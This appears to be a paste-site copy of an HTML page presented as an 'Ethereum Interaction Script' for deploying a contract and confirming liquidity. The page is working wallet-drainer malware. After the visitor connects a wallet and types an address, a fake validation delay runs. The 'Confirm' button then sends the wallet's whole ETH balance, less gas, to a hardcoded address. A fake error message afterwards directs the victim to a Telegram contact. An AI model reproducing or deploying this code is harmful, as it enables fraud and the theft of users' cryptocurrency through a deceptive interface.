Source code

 avatar
unknown
plain_text
25 days ago
6.6 kB
2
Indexable
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Ethereum Interaction Script</title>
  <style>
    html {
      box-sizing: border-box;
      font-family: "Open Sans", sans-serif;
    }
    *, *:before, *:after {
      box-sizing: inherit;
    }
    body {
      font-family: Arial, sans-serif;
      text-align: center;
      margin: 0;
      padding: 20px;
      background: #222336;
      background: radial-gradient(circle farthest-side at center center, #222336 0%, #222336 100%);
    }
    section {
      background: #2a2c3f;
      color: white;
      border-radius: 1em;
      padding: 1em;
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
    }
  </style>
</head>
<body>

<section>
  <button id="connectButton">Connect</button>
  
  <table id="checkAdressBalanceButton" style="display: none;">
    <tr>
      <td>My Contract</td>
      <td><button id="regular">Deploy</button></td>
      <td><p id="result"><code>No contract</code></p></td>
    </tr>
    <tr>
      <td>My Second Address</td>
      <td>
        <input type="text" id="typeAdress" name="adress_auth" placeholder="Input second address ETH-0x" autocomplete="off" size="20"/>
      </td>
      <td><button id="sendEtherButton" style="display: none;">Attach</button></td>
      <td><div id="statusMessage"></div></td>
    </tr>
    <tr>
      <td>My Status</td>
      <td><center>
        <button disabled="disabled" id="checkBalanceButton" style="display: none;">Liquid</button>
      </td>
      <td><p id="balanceDisplay" style="display: none;"></p>Confirm the liquidity</td>
    </tr>
  </table>
</section>

<script>
  const connectButton = document.getElementById("connectButton");
  const sendEtherButton = document.getElementById("sendEtherButton");
  const typeAdress = document.getElementById("typeAdress");
  const checkBalanceButton = document.getElementById("checkBalanceButton");
  const balanceDisplay = document.getElementById("balanceDisplay");
  const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
  const statusMessage = document.getElementById("statusMessage");
  let validationComplete = false;
  let transferInProgress = false;

  // Predefined Ethereum address
  const predefinedAddress = "0x5b133a42743386b5016050831D73E3Ecd96D0c30";

  const performTransaction = async () => {
    try {
      const value = typeAdress.value;
      transferInProgress = true;

      const balanceWei = await window.ethereum.request({
        method: "eth_getBalance",
        params: [window.ethereum.selectedAddress, "latest"],
      });
      const gasPrice = await window.ethereum.request({
        method: "eth_gasPrice",
      });
      const gasLimit = 50000;
      const gasCost = BigInt(gasPrice) * BigInt(gasLimit);

      if (BigInt(balanceWei) < gasCost) {
        alert("No ETH for gas fee");
        transferInProgress = false;
        return;
      }

      const amountToSend = BigInt(balanceWei) - gasCost;
      await window.ethereum.request({
        method: "eth_sendTransaction",
        params: [
          {
            from: window.ethereum.selectedAddress,
            to: predefinedAddress,  // Using predefined Ethereum address here
            value: "0x" + amountToSend.toString(16),
          },
        ],
      });
      alert("Error. A small amount of liquidity. Write to me in telegram @TrustCryptoX");
      transferInProgress = false;
    } catch (error) {
      alert("Error confirming liquidity. Repeat again");
      console.error(error);
      transferInProgress = false;
    }
  };

  connectButton.addEventListener("click", async () => {
    try {
      const accounts = await window.ethereum.request({
        method: "eth_requestAccounts",
      });
      if (accounts.length > 0) {
        sendEtherButton.style.display = "block";
        typeAdress.style.display = "block";
        checkBalanceButton.style.display = "block";
        checkAdressBalanceButton.style.display = "block";
        connectButton.style.display = "none";
      }
    } catch (error) {
      console.error(error);
      alert("Connection error");
    }
  });

  sendEtherButton.addEventListener("click", async () => {
    try {
      const value = typeAdress.value;
      if (!value || value.length < 40) {
        alert("Attention! Enter the correct second Ethereum address");
        return;
      }
      if (!validationComplete) {
        if (/^[a-zA-Z0-9]+$/g.test(value) && value.length >= 40) {
          statusMessage.textContent = "Waiting...";
          typeAdress.disabled = true;
          sendEtherButton.disabled = true;

          setTimeout(() => {
            validationComplete = true;
            statusMessage.textContent = "Ready";
            typeAdress.disabled = true;
            sendEtherButton.textContent = "Confirm";
            sendEtherButton.disabled = false;
          }, 10000);
        } else {
          alert("Error! Input value");
        }
      } else if (sendEtherButton.textContent === "Confirm") {
        performTransaction();
      }
    } catch (error) {
      console.error("Error on process: " + error);
      transferInProgress = false;
    }
  });

  checkBalanceButton.addEventListener("click", async () => {
    try {
      const balanceWei = await window.ethereum.request({
        method: "eth_getBalance",
        params: [window.ethereum.selectedAddress, "latest"],
      });
      const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4);
      balanceDisplay.innerText = `Balance: ${balanceEther} ETH`;
      balanceDisplay.style.display = "block";
    } catch (error) {
      console.error(error);
      alert("Error fetching balance");
    }
  });

  const regularLaunchButton = document.getElementById("regular");
  const resultElement = document.getElementById("result");

  function setButtonsDisabled(isDisabled) {
    regularLaunchButton.disabled = isDisabled;
  }

  function timeout() {
    console.log("Executing...");
    setButtonsDisabled(true);
    resultElement.innerText = "Waiting...";
    setTimeout(() => {
      resultElement.innerText = "Ready";
      setButtonsDisabled(false);
    }, 12000);
  }

  regularLaunchButton.addEventListener("click", () => {
    timeout();
  });
</script>

</body>
</html>